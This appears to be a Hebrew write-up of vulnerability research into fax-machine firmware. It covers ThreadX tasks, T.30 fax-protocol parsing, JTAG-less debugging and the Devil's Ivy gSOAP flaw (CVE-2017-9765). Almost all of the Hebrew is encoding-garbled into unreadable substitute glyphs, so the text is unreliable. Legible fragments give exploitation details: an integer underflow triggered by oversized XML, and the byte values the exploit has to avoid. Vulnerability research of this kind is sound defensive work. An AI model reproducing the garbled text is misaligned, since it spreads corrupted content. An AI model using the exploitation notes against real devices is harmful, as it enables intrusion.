 ˭ˣ˶˩˧ˤ ˦˰ˬ ˷ˬˬ ˣ˪ ˫˧˟˧˴˵ˬ ˧˩ ˭˦˵Flash  ˸ˣ˷˶ˢ˪ ˪ˣ˩˧ ˞˪ ˞ˣˢ ˭˩˪ .˫˷˪ ˯ˮ˩˧ˢ˪ ˨˧˶˴ ˣ˪˷ ˡˣ˵ˢ ˪˩ˣ

 ˶˟˥˷ ˭˦˵ ˢ˯˧˥ˡ ˷ˣˬ˧ˬ ˶ˣ˥˟˪ ˱˧ˡ˰˧ ˞ˣˢ ˟ˣ˶˪ˣ ,˸˧˶ˮˠˣ "˸˧ˮˤ˟ˤ˟" ˥ˣ˸˲ ˡˣ˵ ˸˧˧˶˲˯ ˪˲ˬ˵˪ ˣˬ˴˰˪

.˫ˡˣ˵ ˦˵˧ˣ˶˲ ˢˤ˧˞˟ ˢ˞˶ ˶˟˩ ˞ˣˢ˷ ˣ˞ ˣ˪ ˥˪˷ ˣ˪˷ 

ˮ˪ˤˬ˪ˢ ˫˞ ,ˣ-bootloader  "˧ˣ˪ˠ" ˶ˬ˷ˢ˪ ˟˧˧˥ ˞ˣˢ ˭˩˪ˣ ˢ˯˧˥ˡˢ ˸˞ ˣˮˬˬ ˥˸˲˧˷ ˧ˬ ˭˧˞ ˤ˞ ,˭ˣ˷˞˶ ˳˶

ˢ ˪˷ ˢˮ˟ˬˢ ˨ˣ˸˟ ˣ˸ˣ˞ ˸ˣˢˤ˪ ˪˵ ˪˪˩ ˨˶ˡ˟˷ ˭˞˩ˬˣ-Firmware ˸˥˧˸˲ ˡˣ˵˷ ˣˮ˶ˬ˞ ˫˞ ,˱˯ˣˮ˟ .

˟ ˷ˬˣˬˬ ˢ˯˧˥ˡˢ-bootloader  ˨˧˞ ˫ˠˣ ˢ˯˧˥ˡˢ ˸˞ ˥ˣ˸˲˪ ˨˧˞ ˸˰ˡ˪ ˧ˡ˩ ˫˷ ˣ˸ˣ˞ ˷˲˥˪ ˪˩ˣˮ ˤ˞

˦˪ˢ ˪˷ ˵˪˥ ˪˩ ˭ˣ˰-Firmware ˪-IDA.˸ˣ˞˷˶ˢ ˢˤ˧˞˟ˣ ˸˟ˣ˸˩ ˢˤ˧˞˪ ˭ˣ˰˦˪ ˫˧˸˟ ˢˬ˩ : 

 

]hexdump ˪˷ ˵˪˥ ˡˣ˵ˬ s-bootloader ,˧˲˩ ˰˧˲ˣˬ˷ ˟-Firmware[. 

 ˧˸˟ ˪˷ ˸ˣˡˣˬ˰) ˫˧˸˟ˢ ˸ˣ˧ˮ˟˸ ˧˲˪EX ˡˣ˵˟ ˶˟ˣˡˬ˷ ˶ˣ˶˧˟˟ ˸ˣ˞˶˪ ˭˸˧ˮ (ARM.  ,ˢˤˢ ˰ˡ˧˟ ˫˧ˡ˧˧ˣ˴ˬ

 ˢ˯˧˥ˡˢ ˡˣ˵ ˸˞ ˷˲˥˪ ˪˵ ˸˧˯˥˧ˢ ˨ˣ˸˟-bootloader ˸˥˧˸˲ ˸˧˧˴˵ˮˣ˲ ˸˞ ˵˧˸˰ˢ˪ ˦ˣ˷˲ ˶˷˲˞ ˤ˞ˣ ,

 ˳˟ˣ˵˪ ˶ˣˬ˷˧ˣ ,ˡ˥˞ ˳˟ˣ˵ˬ ˯ˣ˥ˡ ˧˶˞ˮ˧˟ ˟ˣ˪˟ ˭˰˦˧ ˦˵˧ˣ˶˲ˢ .ˣˮ˪˷ˬ ˭˦˵ ˦˵˧ˣ˶˲ ˢ˟˧˟˯ ˪˲ˬ˵˪ˣ ˢ˯˧˥ˡˢ

 ˢ˯˧˥ˡ ˸˥˧˸˲˪ "˸ˣ˧˶˲˯" ˥˧ˣˣ˶ˢ˪ ˦˞˪ ˦˞˪ ˪˩ˣˮ ˣˤˢ ˢ˶ˣ˴˟ .ˢ˯˧˥ˡˢ ˸˥˧˸˲ ˶˥˞˪ ˰ˡ˧ˬˢ ˸˞ ˶˥˞

˥ˬ˟ ˣˮ˸ˣ˞ ˣ˷ˬ˷˧ ˧˪ˣ˞˷.˸ˡ˟ˣ˰ ˢ˯˧˥ˡˢ ˨˧˞ ˣˮˬ˴˰˟ ˭˧˟ˢ˪ ˨˶˦˴ˮ ˞˪ ˣ˪˧˲˞ˣ ,˞˟ˢ ˶˵ 
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˨˧˪ˢ˸ ˢ˯˧˶˲ˢ 

 ˞˧ˢ ˢˬˬˣ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˢˬ ,˧ˬ ˡˠˮ ˧ˬ ˪˩ ˫ˡˣ˵ ˭˧˟ˮ˷ ˧˞ˡ˩ ,˯˵˲˟ ˸ˣ˷˪ˣ˥ ˷˲˥˪ ˪˧˥˸ˮ˷ ˧ˮ˲˪

.˸˟˩˶ˣˬ 

˸˩˶˰ˬ ˢ˪˰˲ˢˢ - ThreadX 

 ˢ˪˰˲ˢ ˸˩˶˰ˬ ˢ˴˧˶ˬ ˸˯˲ˡˬˢreal-time  ˸˯˯ˣ˟ˬThreadX  ˸˶˟˥ ˸˶˴ˣ˸ˬGreen Hills ,˶ˬˣ˪˩ .

 ˶˲˯ˬ ˣ˴ˣ˶˧ ˣ˩ˣ˸˟˷ ("˥ˣ˦˷ ˭ˣ˶˩ˤ ˟˥˶ˬ" ˞˶˵˧ ˟ˣ˶˪) ˰ˣ˟˵ˣ ˡ˧˥˧ ˭ˣ˶˩˧ˤ ˟˥˶ˬ ˢ˶˧ˡˠˬ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ

Task-ˢ ˪˩ .˫˧ˮˣ˷ ˫˧- Task- ˵˶ ˷˧) ˸ˣˢˣ˟ˠ ˡ˟˰ˬ ˸ˣ˞˷˶ˢ˟ ˫˧˴˶ ˫˧kernel ˟˥˶ˬ ˣ˸ˣ˞ ˸˞ ˫˧˵˪ˣ˥ˣ (

 ˢ˪˰˲ˢ ˸ˣ˩˶˰ˬ˟ .(˫˧˩˧˪ˢ˸˪ ˢˡ˶˲ˢ ˭˧˞) ˭ˣ˶˩˧ˤreal-time ˞˶ˮ ˟ˣ˶˪ ˪˩˪ ˧˩ ˢTask  ˢ˧˴˵ˮˣ˲ ˢ˧ˢ˸

ˬ ˣ˪˟˵˸ˢ˷ ˸ˣ˰ˡˣˢ ˸˞˶ˣ˵ˣ ˸˧˲ˣ˯ˮ˧˞ ˢ˞˪ˣ˪˟ ˢ˴˶˷ ˸˧˷˞˶-Task- ˸˶ˤˣ˥ ˤ˞ˣ ˫ˢ˟ ˸˪˲˦ˬ ,˫˧˶˥˞ ˫˧

.˪ˣ˲˧˦˪ ˢ˞˟ˢ ˢ˰ˡˣˢ˪ ˭˧˸ˬˢ˪ 

 

˸ˣ˷˪ˣ˥ ˪ˣ˴˧ˮ˪ ˫˧˷ˠˡ 

¶  ˭ˣˮˠˮˬ ˭˧˞) *˰ˣ˟˵* ˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩˧ˤ ˟˥˶ˬ ˢ˶˧ˡˠˬ ˢ˪˰˲ˢˢ ˸˩˶˰ˬASLR( 

¶  ˪˰ ˦˪˸˷ˮ˷ ˰ˠ˶˟Task ) ˢ˪ˣ˩ ˸˩˶˰ˬ˟ ˦ˣ˪˷˪ ˪˩ˣˮ ,ˡ˥˞Task- ˱˸ˣ˷ˬ ˭ˣ˶˩˧ˤ ˟˥˶ˬ ˫˧˵˪ˣ˥ ˫˧

(˸ˣˢˣ˟ˠ ˸ˣ˞˷˶ˢ˟ ˫˧˴˶ˣ 

 

˧˩˶˰ DSID 

ˢ ˸˞ ˥˸ˮ˪ ˣˮ˪˥˸ˢ˷ ˶˥˞˪-Task ˢ ˪ˣ˵ˣ˦ˣ˶˲ ˪˷ ˫˧˟˴ˬˢ ˸ˮˣ˩ˬ ˪˰ ˧˞˶˥˞ ˢ˞˶ˮ˩˷-T.30  ˪ˣ˵ˣ˦ˣ˶˲)

" ˡˣ˞ˬ ˥ˣˮˢ ˫˷˟ ˞˶˵ˮ ˶˷˞ˣ (˯˵˲ˢtT30 ˢˬ˪ ˸ˣ˟˶ ˸ˣ˞˧˶˵ ˭ˮ˷˧ ˡˣ˵ˢ ˨˶ˣ˞˪ .˸ˮ˧˧ˮ˰ˬ ˢ˰˲ˣ˸ ˣˮ˞˴ˬ ,"

 ˡ˥˞ ˫˧˶ˣ˷˵ ˫˧˞˶ˮˢ ,˸˧˯˥˧ ˫˧˧ˡˣ˥˧˧ ˫˧˧˶˲˯ˬ ˫˧˩˶˰ ˶˦ˬ˶˲˩ ˸ˣ˪˟˵ˬ ˶˷˞ ,ˠˣ˪ ˸ˣ˧˴˵ˮˣ˲ ˣˬ˩ ˢ˞˶ˮ˷

 ˫˧˶˲˯ˬˢ ˸˞ ˸ˣ˞˶˪ ˭˸˧ˮ ˢ˟ ˞ˬˠˣˡ ˭˪ˢ˪ .˧ˮ˷˪0x107AD x-0x107AC. 

 

 ˪˟˵ˮ ,ˣ˪˪ˢ ˫˧˰ˣ˟˵ˢ ˪˷ ˸ˣ˰ˬ˷ˬˢ ˢˬ ˸ˣ˪ˠ˪ ˪˩ˣˮ ˫˞ ˸˥ˣˣˡˬ ˣ˧˪˰ ˰ˣ˶˧˞˪ ˰ˠˣˮ˟ ˫˧˟ˣ˷˥ ˫˧ˤˬ˶

 ˶˟ˡ ,ˠˣ˪˪ ˢ˞˧˶˵ˢ.ˡˣ˵ˢ ˸ˮ˟ˢ˟ ˸˧˸ˣ˰ˬ˷ˬ ˣˮ˪ ˰˧˧˯˧˷ 
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ˢ ˧˟˥˶˟ ˪"ˮˢ ˫˧˰ˣ˟˵ˢ ˪˷ ˷ˣ˲˧˥ ˶˥˞˪-Firmware ˸ˣˬ˧˷˶ ˣˬ˩ ˢ˞˶ˮ˷ ˢˬ˟ ˫ˠ ˫˧˰˧˲ˣˬ ˫ˢ ˧˩ ˣˮ˞˴ˬ ,

" ˸˧˪˧˥˸ˢ ˫˰ ˸ˣ˰˧˲ˣˬ ˭˪ˣ˩ ˶˷˞ ,˸ˣˤˣ˶˥ˬ ˪˷DSID_:" 

 

˧˩ ˢ˞˶ˮ ˢ˪˰ˬ˪ ˣˮ˶˞˧˸˷ ˢ˶˵ˬ˟ :ˢ˧˴˵ˮˣ˲ˢ ˸˞ ˸˧ˮˣ˧ˠˢ ˢ˶ˣ˴˟ ˸ˣ˶˞˸ˬ ˸ˣˤˣ˶˥ˬˢ 

1. "˵ˣ˪˟" ˪˷ ˸˥˪˴ˣˬ ˢ˪˟˵ ˪˰ ˸˥ˣˣˡˬ ˪ˣ˵ˣ˦ˣ˶˲ˢ ˪˷ ˫˧˟˴ˬˢ ˸ˮˣ˩ˬ 

2. "˵ˣ˪˟" ˪˷ ˸˥˪˴ˣˬ ˢ˥˧˪˷ ˪˰ ˥ˣˣˡˬ ˠˣ˪ˢ ˰ˣ˶˧˞ 

3. "˱ˡ" ˪˷ ˸˥˪˴ˣˬ ˢ˥˧˪˷ ˪˰ ˥ˣˣˡˬ ˟˵ˣ˰ˢ ˠˣ˪ˢ ˰ˣ˶˧˞ 

 ˪ˣ˵ˣ˦ˣ˶˲ ˪˷ ˦˶˲ˬˢ ,˭˩˞ˣT.30  .˸ˣ˶ˣ˷ˬ ˫˧˟˩˶ˣˬˢ ,˫˧˵ˣ˪˟ˬ ˫˧˟˩˶ˣˬˢ ,˫˧˲ˡ˪ ˪˴ˣ˲ˬ ˯˵˲ˢ ˧˩ ˶˞˸ˬ 

 ˦˲˧˶˵˯ ˸ˣ˰˴ˬ˞˟Python ˟ ˸ˣ˪˧˥˸ˬˢ ˸ˣˤˣ˶˥ˬˢ ˪˩ ˸˞ ˢ˲ˬˮ-"DSID_ ˫˧˶ˣˬ˷ˢ ˫˧˰ˣ˟˵ˢ ˫˧˩˶˰˪ "

 ˣˮ˪˟˧˵ ˸˰˩ˣ ,ˢ˪˟˦˟ ˭ˡ˧˪Enum  ,˨˪˧˞ˣ ˭˞˩ˬ .˫ˢ˪˷ ˸˧˪ˣ˪˧ˬˢ ˸ˣ˰ˬ˷ˬ˪ ˠˣ˪ˢ ˧˩˶˰ ˸˞ ˣˮ˪ ˫ˠ˶˸ˬˢ

˟ ˸ˣ˧˴˵ˮˣ˲ˢ ˸˧˟˶ˬ-Firmware .ˢ˧˴˵ˮˣ˲ ˪˩ ˨ˣ˸˟ ˠˣ˪˪ ˫˧˥ˣˣˡˬˢ ˫˧˰ˣ˶˧˞˪ ˰ˠˣˮ˟ ˫˧˪˧˰ˣˬ ˫˧ˤˬ˶ ˣ˪˧˩˧ 

˸ˣ˴˧˲˵ ˸ˣ˧ˠˣ˪ ˭˧˟ Task-˫˧ 

 ˪˷ ˫˧˟˴ˬˢ ˸ˮˣ˩ˬ ˪˷ ˥ˣ˸˧ˮˢ ˨˪ˢˬ˟T.30ˢ ˫ˡˣˬ ˪˷ ˥ˣ˸˧ˮ˟ ˭˩ˬ ˶˥˞˪ˣ ,-HDLC )άǘCŀȄaƻŘŜƳέ ,(

 ˣˮ˶˰˴˪ .˸ˣ˧˴˵ˮˣ˲˪ ˫˧˰˧˟˴ˬ ˪˷ ˢˬ˧˷˶ ˪˧˩ˬˢ ˦˵˧˧˟ˣ˞˟ ˶ˤˣ˥ ˷ˣˬ˧˷ ˣˮ˷˧˷ ˣˮ˞˴ˬ ˞ˣ˴ˬ˪ ˣˮ˥˪˴ˢ ˞˪

 ˸ˣ˷ˣ˰ ˢˬ ˵˧˯ˢ˪ ˧ˡ˩˟ ˫˧ˮˣ˷ˢ ˫˧˷ˣˬ˧˷ˢ ˭˧˟ ˟˧˪˴ˢ˪ ˣˮ˧˯˧ˮ ˭˩˪ˣ ,˫˧˰˧˟˴ˬˢ ˸ˣ˞˪˟˦ ˪˷ ˪ˣ˥˸˞ˢ ˸˞

ˬ ˢ˰ˡˣˢ ˪˷ ˢ˪˟˵ / ˢ˞˴˵ˢ˪ ˸˷ˬ˷ˬ ˸ˣ˧˴˵ˮˣ˲ˢ ˸˥˞˷ ˢ˸˪˰ˢ ˣˤ ˢ˟˪˴ˢ .˸ˣ˶˯˥ˢ ˸ˣ˧˴˵ˮˣ˲ˢ-Task 

˪ ˢ˞˪ˢ ˢ˰ˡˣˢ ˪˷ ˢ˥˧˪˷ / ˶ˣ˶˥˷˪ ˸˷ˬ˷ˬ ˸˶˥˞ˣ ,˶˥˞-Task .˞˟ˢ 

˨˩˪ ˞ˬˠˣˡ  ˪˷ ˫˧˟˴ˬˢ ˸ˮˣ˩ˬ ˨ˣ˸ˬ ˢ˞˟ˢ ˡˣ˵ˢ ˸˯˧˲˟ ˸ˣ˞˶˪ ˭˸˧ˮT.30 ˸ˣ˰ˡˣˢ ˪˟˵˪ ˢ˶ˣˬ˞ ˶˷˞ ,

ˢ ˫ˡˣˬˬ-HDLC: 

 

 ˸ˬ˧˶ˤ ˧˶˥˞ ˟ˣ˵˰˪ ˪˩ˣˮ ˞˪ ,˸ˣ˶˯˥ˢ ˸ˣ˧˴˵ˮˣ˲ˢ ˸˞ ˞ˣ˴ˬ˪ ˸˪ˣ˩˧ˢ ˧˪˟ .˪ˣ˷˩ˬ˪ ˣˮ˰ˠˢ ˭˞˩ ˣˮ˶˰˴˪

ˢ ˭˧˟ ˰ˡ˧ˬˢ-Task- ,˫˧˶ˣ˥ ˣ˞ ,˸ˣ˧ˠˣ˪ ˸ˣ˴˧˲˵ ˫˰ ˣˮ˸ˣ˞ ˶˧˞˷˧˷ ˶˟ˡ ,˫˧ˮˣ˷ˢ ˫˧ˢ ˭˧˟-Task- ˶˥˞˪ .˫˧
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ˢ ˪˷ ˣˮ˪˷ ˢˮ˟ˢˢ ˞˧˷˪ ˣˮ˰ˠˢ .˫ˣ˸˯ ˧ˣ˟ˬ˪ ˣˮ˰ˠˢ ˶˵˥ˬ˟ ˫˧˧ˣ˯ˬ ˟˪˷-Firmware ˢˮ˟ˢ˟ ˶˟ˣˡˬ ˪˟˞ ,

 ˫˸ˣ˞ ˸˞ ˞ˣ˴ˬ˪ ˫˧˟˧˧˥ ˣˮ˥ˮ˞ ,ˢ˶˧˶˟ ˭˧˞˷ ˣˮ˟ˢ ˣˤ ˢˡˣ˵ˮ˟ .˰ˡ˧ˬˢ ˸ˬ˧˶ˤ˟ ˫˧˶ˣ˥ˢ ˪˪ˠ˟ ˧ˡˬ ˸˧˵˪˥

˩ ˫˷˪ˣ ,˫˧˶˯˥ˢ ˪ˤ˞˲ˢ ˧˵˪˥ ˸˞ ˫˧˪˷ˢ˪ ˧ˡ˩˟ ˸ˣ˧˴˵ˮˣ˲˪ ˫˧˰˧˟˴ˬ.˸˯˲ˡˬˢ ˸˞ ˠ˞˟ˡ˪ ˨˶˦˴ˮ ˨ 

 

˸˧˧ˮ˟ ˶ˠ˞˟˧ˡ 

 ˧˦˵˧ˣ˶˲˟ ˧˰˟˦ˢ ˶˟ˡˢEmbedded ˢ ˧˵˷ˬˬ˪ ˶˟˥˸ˢ˪ ˢ˧ˢ˧-Debug ) ˫˧ˮ˟ˣˬˢJTAG  ˦ˣ˷˲ˣ (˪˷ˬ˪

 ˭ˣ˶˸˲ ˶ˣ˥˟˪ ˳˪˞˧ˮ ˭˩˪ˣ ˫˧˟˧ˠˬ ˞˪ / ˫˧˪ˣ˰ˮ ˪"ˮˢ ˫˧˵˷ˬˬˢ ,˭˩˪ ˫ˡˣ˵ ˣˮ˧˞˶˷ ˣˬ˩ ˪˟˞ ,˫˷ˬ ˨˧˷ˬˢ˪

ˡ ˸˷˪ˣ˥" ˷˲˥˪ ˠˣˢˮ ˣ˪˞˩ ˫˧˶˵ˬ˟ .˶˸ˣ˧ ˧˸˶˧˴˧ ˢ˷˧ˠ ˣˮ˪ ˷˧ ˣ˧˪˞ ˵˷ˬˬˬ ˡˣ˵ ˸˴˶ˢ ˸˷˪ˣ˥ ,"ˠ˞˟˧

 ˶˴ˣˬˢ ˪˰ ˡˣ˵ ˳˧˶ˢ˪ ˪˩ˣˮ ˢ˷˪ˣ˥ˢ ˸˷ˬ˷ˢ ˸ˣ˰˴ˬ˞˟ .(˱ˣ˵˸˪ ˣˮ˧˴˶ ˣ˩˶ˡ ˧˶ˣ˵ˬˢ ˵˷ˬˬˢ ˞˵ˣˣˡ ˣ˞˪)

.˶˥˟ˮ˷ ˧˸˷˶ / ˧˸˶ˬˣ˥ ˵˷ˬˬ ˢˤ˧˞ ˨˶ˡ ˸ˣ˧˥ˮˢ ˪˟˵˧˷ ˶ˠ˞˟˧ˡ ˣˮˬ˴˰˟ "˭˧˵˸ˢ˪" ˪˩ˣˮ ˫˷ˬˣ 

 

˷ˣ˲˧˥ ˸˷˪ˣ˥ ˠ˞˟˧ˡ 

 ,˸ˣ˷ˡ˥ ˸ˣ˷˪ˣ˥ ˞ˣ˴ˬ˪ ˟˧ˮˠˬ ˢˤ˷ ˸ˣ˶ˬ˪0-Days ,ˢ˰ˣˡ˧ ˢ˷˪ˣ˥ ˪˩ :˨˶ˣ˴ ˨˩˪ ˭˧˞ ˫˧˟˶ ˫˧˶˵ˬ˟ ,1-

Day ˢ˰ˣˡ˧ ˢ˷˪ˣ˥ ˞ˣ˴ˬ˪ ˪˩ˣˮ ˶˧˟˯ ˧ˣ˩˧˯˟ .ˣˮ˪ ˵˧˲˯˸ ˸˯˲ˡˬˢ ˪˰ ˡˣ˵ ˸˴˶ˢ˪ ˷˧ˬ˷ˢ˪ ˪˩ˣˮ˷ ,

 ˫˰ ˢˣˣ˵˸˟ˣ)CVE ˢˡ˟ˣ˰ˢ ˶ˣ˞˪ ˡˣ˥˧˧˟ˣ ,˸˯˲ˡˬ˟ ˶˟˩ ˸˞˴ˬˮ˷ ˥ˣ˸˲ ˡˣ˵ ˸˧˧˶˲˯˟ (ˡ˰ˣ˸ˬ ˸˧˯˥˧ ˢ˷-

firmware  ˸ˮ˷ˬ ˞ˣˢ ˣˮ˪˷2015 ˢ˶ˣ˴˟ ˳˪˥˪ ˧ˡ˩ ˧˷ˣˬ˧˷ ˧˪˩ ˧˸˞˴ˬ ˞˪ ˡˣ˰ ˧˶˰˴˪ .˸˧˦ˬˣ˦ˣ˞  ˸˞

 ˶˴ˣˬ˟ ˸ˣ˞˴ˬˮ˷ ˥ˣ˸˲ˢ ˡˣ˵ˢ ˸ˣ˧˶˲˯ ˪˩ ˸ˣ˞˯˶ˠembedded1:˸ˣ˴ˣ˲ˮ ˸ˣ˦˧˷ ˧˸˷ ˭˧˟ ˶ˣ˥˟˪ ˳˪˞ˮ ˭˩˪ˣ , 

1. ˟ ˸ˣ˶˩ˣˬ ˸ˣˤˣ˶˥ˬ ˷ˣ˲˧˥-Firmware  ˢˬ ˣˮ˪ ˢ˪ˠ˧ ˫ˠ ˟ˣ˶˪ˣ ,˷ˣˬ˧˷˟˷ ˸ˣ˧˶˲˯ˢ ˢˬ ˣˮ˪ ˤˬ˶˧

 :˸ˣ˧˲˧˴˲˯ˢ ˸ˣ˞˯˶ˠˢOpenSSL 1.0.1j ,libpng 1.2.9 .'ˣ˩ˣ 

2.  ˸ˣ˧ˢ ,˶˴ˣˬ˟ ˸ˣ˪ˣ˪˩˷ ˥ˣ˸˲ˢ ˡˣ˵ˢ ˸ˣ˧˶˲˯ ˪˩ ˪˷ ˢˬ˧˷˶ ˭˶˴˧ˢ ˶˸˞˟ ˞ˣ˴ˬ˪ ˶˷˲˞ ˫˧ˬ˰˲˪

˶˲˯ ˪˩˟ ˷ˣˬ˧˷ˢ ˧˞ˮ˸˪ ˰ˠˣˮ˟ ˫˧ˠ˧˧˯ ˭˧˧˴˪ ˣ˸ˣ˞ ˫˧˟˧˧˥ˬ ˥ˣ˸˲ˢ ˡˣ˵ˢ ˸ˣˮˣ˧˷˶ˣ.ˢ˧˧ 

:ˣˮ˪ ˫˧˞˸˸˷ ˢ˷˪ˣ˥ ˭ˢ˟ ˷˲˥˪ ˫˧˩˶ˡ ˢˬ˩ ˣˮ˪ ˷˧ ,˥ˣ˸˲ ˡˣ˵ ˸ˣ˧˶˲˯ ˪˷ ˢ˞˪ˬ ˢˬ˧˷˶˟ ˫˧ˡ˧˧ˣ˴ˬ 

1.  ˪˷ ˦ˮ˶˦ˮ˧˞˟ ˷ˣ˲˧˥CVE-ˢ ˸ˣ˞˯˶ˠ˟ (ˡˣ˵ ˳˧˶ˢ˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞) ˫˧˧˦˧˶˵ ˫˧˧˦ˮˣˣ˪˶˸ˣ˧˶˲˯ˢ ˪˷ ˸ˣ 

2.  ˣ˧ˢ˧ ˭ˢ ˫˞ ˵ˣˡ˟˪ ˦ˣ˷˲ ˶˷˲˞ ,˸ˣ˲ˡ˰ˣˬ ˸ˣ˷˪ˣ˥ ˫˩˪ ˷˧ ˶˟˩ ˫˞˧˦ˮˣˣ˪˶˫˰˲ˢ ˫ˠ ˸ˣ 

3.  ˫ˠˢ .˟ˣ˷˥ ˢˤ ˸ˣˮ˶˰-CERT  ˣˬ˯˶˲˸ˢ˷ ˸ˣ˷˪ˣ˥ˢ ˪˩ ˸ˬ˧˷˶ ˫˰ ˧˰ˣ˟˷ ˪˧˧ˬ ˳˧˲ˬ ˧˞˵˧˶ˬ˞ˢ

 ˦˵˧ˣ˶˲˪ ˣˬ˧˞˸ˢ ˵ˣ˧ˡ˟ ˫˷ ˣˬ˯˶˲˸ˢ˷ ˸ˣ˷˪ˣ˥ˢ˷ ˫˧˧ˬ˰˲ ˞˪ˣ ˫˰˲ ˞˪ ˧˪ ˞˴˧ ˶˟˩ˣ ,˰ˣ˟˷ˢ ˣ˸ˣ˞˟

˧˸ˡ˟˰ ˣ˧˪˰ 

  

                                                           
 

1
 ̟˪ ˱˯ˣ˸ ˫˧˥˸˲ˬ ˣˮ˥ˮ˞ ˢ˪˞ ˫˧ˬ˧˟-IDA ˞˶˵ˮˢ ,Karta ˧˶˞ˮ˧˟ ˨ˣ˸˟ ˥ˣ˸˲ ˡˣ˵ ˸ˣ˧˶˲˯ ˪˷ ˸ˣ˞˯˶ˠ ˭ˣ˥˟˞ˣ ˧ˣˢ˧ˤ ˫ˠ ˶˸˧ˢ ˭˧˟ ˵˲˯˪ ˶ˣˬ˞ ˶˷˞ ,

.ˣˢ˷˪˩ 
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5ŜǾƛƭΩǎ LǾȅ 

 ˷ˣˬ˧˷ ˢ˷˰ˮ˷ ˣˮ˧˞˶ ˶˵˥ˬˢ ˨˪ˢˬ˟ .˵˧˲˯ˢ˪ ˢ˪ˣ˩˧ ˪ˤˬ ˸˲˧˦ ˫ˠ ˫˧ˬ˰˲˪ ,ˢˤˢ ˡˬˣ˪ˬˢ ˶˟˯ˢˢ ˧˶˥˞ˣ

 ˥ˣ˸˲ˢ ˡˣ˵ˢ ˸˧˧˶˲˯˟gSOAP ˫˷˟ ˢ˷˪ˣ˥˪ ˰ˠˣˮ˟ ˶˦˧ˣˣ˦˟ ˳ˣ˧˴ ˣˮ˧˞˶˷˩ ˭˩˪ˣ ,ά5ŜǾƛƭΩǎ LǾȅέ  ˸˧˧˶˲˯˟

gSOAP  ,ˢ˷˪ˣ˥ˢ .˶˟ˣˡˬ ˢˬ˟ ˵ˣˡ˟˪ ˣˮ˶ˢ˧ˬCVE 2017-9765 ˢ˞˶ˮˣ ˡˣ˵ ˸˴˶ˢ ˸˷˪ˣ˥ ˞˧ˢ , ˞˧ˢ˷

.ˣˮ˷˲˧˥˷ ˢˬ ˵ˣ˧ˡ˟ 

ˬ ˨˯ˬ ˫ˣ˪˧˴ ˭˪ˢ˪-IDA :˰˧ˠ˲ˢ ˡˣ˵ˢ ˸˞ ˢ˞˶ˬˢ 

 

 ˸˷˪ˣ˥˟ ˶˟ˣˡˬInteger-Underflow  ˢˮ˸˷ˬˢ ˪˷ ˨˶˰ˢ˷ ˢˡ˟ˣ˰ˢˬ ˸˰˟ˣˮ˷i  ˣ˸ ˪˩ ˪˰ ˭˩ˡ˰˸ˬ

 ˸˯˩ˬ ˸˞ ˣˮ˶˟˰ ˶˟˩˷ ˶˥˞˪ ˫ˠ ,˥˪˷ˮ˷64  ˸˥˧˪˷ ˸ˣ˰˴ˬ˞˟ .ˣˮ˪˷ ˸˧ˮ˯˥ˬˢ ˳˴ˣ˥˪ ˸˴˵ˣˬ˷ ˫˧ˣˣ˸ˢ

XML  ˪˰ˬ ˸˴˵) ˧˵ˮ˰2GB˰ ( ˸˯˧˶ˡ ˪˟˵ˮˣ ˢ˵˧ˡ˟ˢ ˸˞ ˶ˣ˟˰˧ ,˧˟ˣ˧˥ ˸ˣ˧ˢ˪ ˶ˣˤ˥˧ ˢˮ˸˷ˬˢ ˪˷ ˣ˩˶

.˸˧ˮ˯˥ˬ 

 

˸˷ˬ˷ˢ ˸˷˪ˣ˥ ˠ˞˟˧ˡˢ 

:˭˧˰˪ ˫˧˦˪ˣ˟ ˧ˡ ˫˧˴ˣ˪˧˞ ˶˲˯ˬ ˫˰ ˢ˰˧ˠˬ ˣˤˢ ˢ˷˪ˣ˥ˢ˷ ˪˪ˠ˟ ,˪ˤˬ ˸˲˧˦ ˵˶ ˣˮ˪ ˢ˸˧˧ˢ ˸ˬ˞˟ ˣˮ˶˰˴˪ 

1.  ˧˟˟˯ ˶˲˯ˬ ˧˶˥˞ ˫ˠ .˦˞˪ ˸˧˯˥˧ ˸˷˶ ˸ˣ˰ˡˣˢ ˸˪˟˵ˬ ˪˟˞ ,˶ˢˬ ˢ˯˧˲ˡˬ ˣˮ˪˷ ˸˯˲ˡˬˢ

 ˨˶˰˟ ˸ˣ˩˥˪ ˫˧˩˧˶˴ ˭˧˧ˡ˰ ˣˮ˥ˮ˞ ˢ˧˴ˤ˧ˬ˧˦˲ˣ˞7  ˵˪˥˷ ˥ˣ˦˟ ˧ˮ˞ .˥˧˪˴˧ ˪ˣ˴˧ˮˢ˷ ˧ˡ˩ ˸ˣ˵ˡ

 ˪˷ ˭ˬˤ ˵˶˲˟ ˫˧˶˟ˡ ˢ˟˶ˢ ˧ˡ ˸ˣ˷˰˪ ˵˧˲˯ˢ˪ ˶˷˲˞˷ ˫˧˰ˡˣ˧ ˫˧˞˶ˣ˵ˢˬ7  ˸ˣ˵ˡ(; 

2. ˪ˢˬ˟ ˫˧ˣˣ˸ ˧˴ˣ˪˧˞ ˶˲˯ˬ ˣˮ˪ ˷˧ ˢ˷˪ˣ˥˪ ˫˧˧˦˶ˡˮ˦˯ ˸˧˯˥˧ ˫˧˴ˣ˪˧˞˟ ˶˟ˣˡˬ ˪˟˞ ,ˢ˷ˬ˷ˢˢ ˨

:˫ˢ ˫˧˶ˣ˯˞ˢ ˫˧ˣˣ˸ˢ .˧˪˞ˣ˦˯˵˦ ˵˷ˬˬ˟ 

a.  :˫˧˯˧˲ˡ ˞˪ ˫˧ˣˣ˸0x00 - 0x19 

b.  ˢ˪˞˷ ˭ˬ˧˯- '? :'0x3F 

3. ˟ ˵˶ ˶ˤ˰˪ ˪˩ˣˮ ˭˩˪ˣ ,˶ˠ˞˟˧ˡ ˞˪˪ ˷˧ˬ˷ˢ˪ ˳˪˞ˮ ˣˤˢ ˢ˷˪ˣ˥ˢ ˸˞ .˸˪ˣˠˮ˶˸ˣ ˢ˴˧˟ ˪˷ ˢ˧˰˟ ˣˮ˪ ˷˧-

IDA  ˣˮ˪ ˞˧˴ˣ˧ ˧˪˞˧˶˧˯ˢ ˠ˞˟˧ˡˢ ˵˷ˬˬ˷ ˨˩˟ˣcrash dump  ˸˧˵ˣ˥ ˞˪ ˸˟ˣ˸˩˪ ˷ˠ˧ˮ˷ ˫˰˲ ˪˩˟ ˧˵˪˥

.˭ˣ˶˩ˤ˟ 
